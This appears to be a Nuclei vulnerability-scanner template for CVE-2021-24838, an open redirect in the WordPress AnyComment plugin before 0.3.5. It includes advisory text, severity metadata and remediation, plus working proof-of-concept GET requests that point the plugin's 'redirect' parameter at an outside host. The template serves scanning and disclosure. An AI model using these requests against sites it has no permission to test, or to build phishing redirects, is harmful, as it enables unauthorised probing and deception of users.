WordPress AnyComment plugin before 0.3.5 contains an open redirect vulnerability via an API endpoint which passes user input via the redirect parameter to the wp_redirect() function without being validated. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2021-24838
info:
name: WordPress AnyComment <0.3.5 - Open Redirect
author: noobexploiter
severity: medium
description: |
WordPress AnyComment plugin before 0.3.5 contains an open redirect vulnerability via an API endpoint which passes user input via the redirect parameter to the wp_redirect() function without being validated. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can trick users into visiting a malicious website, leading to potential phishing attacks or the execution of other malicious activities.
remediation: |
Update to the latest version of WordPress AnyComment plugin (0.3.5 or higher) to fix the open redirect vulnerability.
reference:
- https://wpscan.com/vulnerability/562e81ad-7422-4437-a5b4-fcab9379db82
- https://nvd.nist.gov/vuln/detail/CVE-2021-24838
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24838
cwe-id: CWE-601
epss-score: 0.02345
epss-percentile: 0.84324
cpe: cpe:2.3:a:bologer:anycomment:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: bologer
product: anycomment
framework: wordpress
tags: cve2021,cve,redirect,anycomment,wpscan,wordpress,wp-plugin,bologer
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh"
- "{{BaseURL}}/wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh?a=https://interact.sh"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
- type: status
status:
- 302
# digest: 4b0a00483046022100ea48f6d88cf71eec0bb1ac8807b8302688fd6c0e4e1feb265f8d16284c50376c02210087815b0def1b4842780a973a107fe18573f1a6695d8c795972ae2a7dc96718ac:922c64590222798bb761d5b6d8e72950